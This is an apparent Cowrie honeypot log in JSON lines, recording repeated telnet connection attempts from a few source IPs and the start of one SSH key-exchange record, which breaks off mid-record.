{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57318,"dst_ip":"159.203.135.109","dst_port":23,"session":"98af5e02f8a3","protocol":"telnet","message":"New connection: 69.6.225.50:57318 (159.203.135.109:23) [session: 98af5e02f8a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:54.274732Z"}
{"eventid":"cowrie.session.closed","duration":31.34337067604065,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:54.295296Z","src_ip":"185.15.23.59","session":"0d76f067cdeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.76446771621704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:54.667056Z","src_ip":"144.79.218.12","session":"a5c7e375bd9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":57326,"dst_ip":"159.203.135.109","dst_port":23,"session":"5584c9c1372f","protocol":"telnet","message":"New connection: 69.6.225.50:57326 (159.203.135.109:23) [session: 5584c9c1372f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:54.775633Z"}
{"eventid":"cowrie.session.closed","duration":35.84401345252991,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:55.512919Z","src_ip":"144.79.218.12","session":"724139ae897c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":48376,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9b699edbca6","protocol":"telnet","message":"New connection: 144.79.218.12:48376 (10.17.0.5:23) [session: a9b699edbca6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:55.797980Z"}
{"eventid":"cowrie.session.closed","duration":31.229996919631958,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:56.348491Z","src_ip":"185.15.23.59","session":"45730496105b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648329973220825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:56.424495Z","src_ip":"185.15.23.59","session":"16b8e4aa78f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":37408,"dst_ip":"159.203.135.109","dst_port":23,"session":"4984d3c89f58","protocol":"telnet","message":"New connection: 185.15.23.59:37408 (159.203.135.109:23) [session: 4984d3c89f58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:56.468845Z"}
{"eventid":"cowrie.session.closed","duration":30.58746647834778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:57.072804Z","src_ip":"69.6.225.50","session":"e6fef13d2458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.459643840789795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:57.170387Z","src_ip":"102.133.227.168","session":"dc21f2145d6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935181856155396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:57.429847Z","src_ip":"185.15.23.59","session":"7cc92a7ce262","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.700674057006836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:58.223662Z","src_ip":"69.6.225.50","session":"197598adaf1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.539602756500244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:58.240935Z","src_ip":"102.133.227.168","session":"945e5b60c2d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.645371913909912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:58.384381Z","src_ip":"185.15.23.59","session":"e50a4f0ab958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":42714,"dst_ip":"159.203.135.109","dst_port":23,"session":"b63ce1cc23e1","protocol":"telnet","message":"New connection: 185.15.23.59:42714 (159.203.135.109:23) [session: b63ce1cc23e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:58.604326Z"}
{"eventid":"cowrie.session.closed","duration":30.336244344711304,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:59.059416Z","src_ip":"185.15.23.59","session":"cba7d1d40449","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771164655685425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:59.064548Z","src_ip":"69.6.225.50","session":"daab17326c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.230096578598022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:59.122935Z","src_ip":"185.15.23.59","session":"2867271fced0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41298,"dst_ip":"10.17.0.5","dst_port":23,"session":"885a6e151004","protocol":"telnet","message":"New connection: 144.79.218.12:41298 (10.17.0.5:23) [session: 885a6e151004]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:20:59.346750Z"}
{"eventid":"cowrie.session.closed","duration":30.241366147994995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:00.090036Z","src_ip":"185.15.23.59","session":"70ff7f72d470","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.482723236083984,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:00.160879Z","src_ip":"102.133.227.168","session":"9852227522ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521939754486084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:00.217918Z","src_ip":"185.15.23.59","session":"a43ddc4961fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.63204479217529,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:00.314587Z","src_ip":"144.79.218.12","session":"53f76e7120a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87872004508972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:00.334312Z","src_ip":"185.15.23.59","session":"6d891d08fbc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.555274963378906,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:00.597720Z","src_ip":"185.15.23.59","session":"65e417c22cbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.246233463287354,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:00.820364Z","src_ip":"185.15.23.59","session":"1bd87f84d8c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.668667793273926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:01.036535Z","src_ip":"185.15.23.59","session":"f9c192024266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110538244247437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:01.107002Z","src_ip":"69.6.225.50","session":"3c965ac99bb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.683976888656616,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:01.467665Z","src_ip":"144.79.218.12","session":"9ec715ce24e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52826,"dst_ip":"159.203.135.109","dst_port":23,"session":"538c3d08099a","protocol":"telnet","message":"New connection: 69.6.225.50:52826 (159.203.135.109:23) [session: 538c3d08099a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:01.541396Z"}
{"eventid":"cowrie.session.closed","duration":37.37612819671631,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:03.024776Z","src_ip":"144.79.218.12","session":"d802481e3bc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40699815750122,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:03.615778Z","src_ip":"185.15.23.59","session":"3d7cb4dbf59e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761643409729004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:04.115550Z","src_ip":"185.15.23.59","session":"e2541e545e1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.15.23.59","src_port":57297,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6008f5e498b","protocol":"telnet","message":"New connection: 185.15.23.59:57297 (159.203.135.109:23) [session: e6008f5e498b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:04.808289Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52830,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ff8081239b8","protocol":"telnet","message":"New connection: 69.6.225.50:52830 (159.203.135.109:23) [session: 6ff8081239b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:04.873109Z"}
{"eventid":"cowrie.session.closed","duration":30.748950719833374,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:05.073177Z","src_ip":"185.15.23.59","session":"52dc18118b81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.37619686126709,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:05.190409Z","src_ip":"69.6.225.50","session":"37ec506c3b7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723708629608154,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:05.238621Z","src_ip":"69.6.225.50","session":"b7bde2aa9d1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27335286140442,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:05.267803Z","src_ip":"185.15.23.59","session":"6784a19d9456","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09807062149048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:05.684846Z","src_ip":"185.15.23.59","session":"6c3528130168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680617332458496,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:06.140451Z","src_ip":"185.15.23.59","session":"0b65d28fd3dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01074504852295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:07.110852Z","src_ip":"185.15.23.59","session":"86b8b4757176","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":52846,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd96a29c27ae","protocol":"telnet","message":"New connection: 69.6.225.50:52846 (159.203.135.109:23) [session: cd96a29c27ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:07.125386Z"}
{"eventid":"cowrie.session.closed","duration":31.13850426673889,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:07.327335Z","src_ip":"185.15.23.59","session":"b6559673173a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95942735671997,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:08.104116Z","src_ip":"69.6.225.50","session":"4f3315155153","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41312,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac0f2997d938","protocol":"telnet","message":"New connection: 144.79.218.12:41312 (10.17.0.5:23) [session: ac0f2997d938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:08.930059Z"}
{"eventid":"cowrie.session.closed","duration":30.883238554000854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:09.127280Z","src_ip":"69.6.225.50","session":"2e534d8f7397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40786,"dst_ip":"10.17.0.5","dst_port":23,"session":"87d546a99733","protocol":"telnet","message":"New connection: 144.79.218.12:40786 (10.17.0.5:23) [session: 87d546a99733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:09.554205Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40792,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8d6ce140ee3","protocol":"telnet","message":"New connection: 144.79.218.12:40792 (10.17.0.5:23) [session: c8d6ce140ee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:09.711529Z"}
{"eventid":"cowrie.session.closed","duration":30.7875394821167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:10.514868Z","src_ip":"185.15.23.59","session":"6034f1570752","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40804,"dst_ip":"10.17.0.5","dst_port":23,"session":"f66e36632737","protocol":"telnet","message":"New connection: 144.79.218.12:40804 (10.17.0.5:23) [session: f66e36632737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:11.030373Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40816,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0da8f892dd5","protocol":"telnet","message":"New connection: 144.79.218.12:40816 (10.17.0.5:23) [session: c0da8f892dd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:11.153787Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40832,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb6dc71f6b5","protocol":"telnet","message":"New connection: 144.79.218.12:40832 (10.17.0.5:23) [session: ebb6dc71f6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:11.303157Z"}
{"eventid":"cowrie.session.closed","duration":33.20216202735901,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:11.324041Z","src_ip":"144.79.218.12","session":"3b097926b4e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.46254587173462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:11.468453Z","src_ip":"185.15.23.59","session":"c0fe8deda6fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.997875690460205,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:11.557636Z","src_ip":"102.133.227.168","session":"7c3681165b2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40858,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4a47851c6c9","protocol":"telnet","message":"New connection: 144.79.218.12:40858 (10.17.0.5:23) [session: b4a47851c6c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:11.814101Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58950,"dst_ip":"159.203.135.109","dst_port":23,"session":"784b9a2a2a0c","protocol":"telnet","message":"New connection: 69.6.225.50:58950 (159.203.135.109:23) [session: 784b9a2a2a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:11.954999Z"}
{"eventid":"cowrie.session.closed","duration":34.50842785835266,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:11.992491Z","src_ip":"144.79.218.12","session":"636389820e1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40844,"dst_ip":"10.17.0.5","dst_port":23,"session":"96df38b73873","protocol":"telnet","message":"New connection: 144.79.218.12:40844 (10.17.0.5:23) [session: 96df38b73873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:12.429875Z"}
{"eventid":"cowrie.session.closed","duration":31.444825649261475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:12.561808Z","src_ip":"185.15.23.59","session":"b7ab90ba4782","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22524857521057,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:12.595041Z","src_ip":"185.15.23.59","session":"ccab61081cc5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61215543746948,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:12.818595Z","src_ip":"144.79.218.12","session":"8ed79fcb232b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.225.50","src_port":58952,"dst_ip":"159.203.135.109","dst_port":23,"session":"4420605b413c","protocol":"telnet","message":"New connection: 69.6.225.50:58952 (159.203.135.109:23) [session: 4420605b413c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:14.238179Z"}
{"eventid":"cowrie.session.closed","duration":30.83438777923584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:14.273776Z","src_ip":"185.15.23.59","session":"02cb324087c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.6513249874115,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:14.659035Z","src_ip":"144.79.218.12","session":"d0e9634dc8f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40862,"dst_ip":"10.17.0.5","dst_port":23,"session":"35437d204cfb","protocol":"telnet","message":"New connection: 144.79.218.12:40862 (10.17.0.5:23) [session: 35437d204cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:15.866132Z"}
{"eventid":"cowrie.session.closed","duration":31.275312423706055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:17.433817Z","src_ip":"102.133.227.168","session":"19da57f8a554","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72788715362549,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:17.622453Z","src_ip":"185.15.23.59","session":"72fe5ed84339","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.404470443725586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:18.059893Z","src_ip":"69.6.225.50","session":"60ce8a96608d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.360575675964355,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:19.363443Z","src_ip":"185.15.23.59","session":"23fd901ab122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20835542678833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:19.550226Z","src_ip":"185.15.23.59","session":"9d1a1b55a912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.164433240890503,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:20.053730Z","src_ip":"69.6.225.50","session":"347450905ce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.90663981437683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:21.834920Z","src_ip":"144.79.218.12","session":"ab62d90fc4cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.635981559753418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:22.077287Z","src_ip":"185.15.23.59","session":"a248e64700c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58996,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc6929820753","protocol":"telnet","message":"New connection: 144.79.218.12:58996 (10.17.0.5:23) [session: cc6929820753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:22.088269Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":59000,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc3750b37a14","protocol":"telnet","message":"New connection: 144.79.218.12:59000 (10.17.0.5:23) [session: bc3750b37a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:22.158992Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":58980,"dst_ip":"10.17.0.5","dst_port":23,"session":"9278af7ec73c","protocol":"telnet","message":"New connection: 144.79.218.12:58980 (10.17.0.5:23) [session: 9278af7ec73c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:22.393666Z"}
{"eventid":"cowrie.session.closed","duration":31.54217529296875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:22.650036Z","src_ip":"185.15.23.59","session":"b98a92b8046a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":40144,"dst_ip":"159.203.135.109","dst_port":22,"session":"a76c63bbf450","protocol":"ssh","message":"New connection: 91.134.240.52:40144 (159.203.135.109:22) [session: a76c63bbf450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:22.772024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:21:22.776621Z","src_ip":"91.134.240.52","session":"a76c63bbf450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gc